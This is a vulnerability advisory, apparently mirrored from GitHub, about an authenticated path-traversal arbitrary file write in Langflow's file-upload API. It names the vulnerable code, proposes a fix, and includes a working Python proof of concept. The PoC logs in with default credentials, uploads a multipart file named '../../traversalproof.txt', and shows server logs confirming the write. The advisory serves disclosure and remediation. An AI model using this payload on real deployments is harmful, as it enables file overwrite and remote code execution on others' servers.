Where
AND
-Infinity
0
Severity
10
EPSS
0.07%
Path Traversal, Code Injection
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

While reviewing the recent patch for CVE-2025-68478 (External Control of File Name in v1.7.1), I discovered that the root architectural issue within LocalStorageService remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency.

This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).

Details The vulnerability exists in two layers:

1. API Layer (src/backend/base/langflow/api/v2/files.py:162): Inside the uploaduserfile route, the filename is extracted directly from the multipart Content-Disposition header (newfilename = file.filename). It is passed verbatim to the storage service. ValidatedFileName provides zero protection here as it only guards URL path parameters. 2. Storage Layer (src/backend/base/langflow/services/storage/local.py:114-116): The LocalStorageService uses naive path concatenation (filepath = folderpath / filename). It lacks a resolve().isrelativeto(basedir) containment check.

Recommended Fix:

1. Sanitize the multipart filename before processing:

python from pathlib import Path as StdPath newfilename = StdPath(file.filename or "").name # Strips directory traversal characters if not newfilename or ".." in newfilename: raise HTTPException(statuscode=400, detail="Invalid file name")

2. Add a canonical path containment check inside LocalStorageService.savefile to permanently kill this vulnerability class.

PoC This Python script verifies the vulnerability against langflowai/langflow:latest (v1.7.3) by writing a file outside the user's UUID storage directory.

python import requests

BASEURL = "http://localhost:7860" Authenticate to get a valid JWT token = requests.post(f"{BASEURL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["accesstoken"]

Payload using directory traversal in the multipart filename TRAVERSALFILENAME = "../../traversalproof.txt" SENTINELCONTENT = b"CVERESEARCHSENTINELKEY"

resp = requests.post( f"{BASEURL}/api/v2/files/", headers={"Authorization": f"Bearer {token}"}, files={"file": (TRAVERSALFILENAME, SENTINELCONTENT, "text/plain")}, )

print(f"Status: {resp.statuscode}") # Returns 201 The file is successfully written to /app/data/.cache/langflow/traversalproof.txt

Server Logs: 2026-02-19T10:04:54.031888Z [info ] File ../traversalproof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb. 2026-02-19T10:05:51.792520Z [info ] File secretimage.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb. Docker cntainer file: user@40416f6848f2:~/.cache/langflow$ ls 3668bcce-db6c-4f58-834c-f49ba0024fcb profilepictures secretkey traversalproof.txt

Impact Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite .ssh/authorizedkeys to achieve full Remote Code Execution on the host server.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203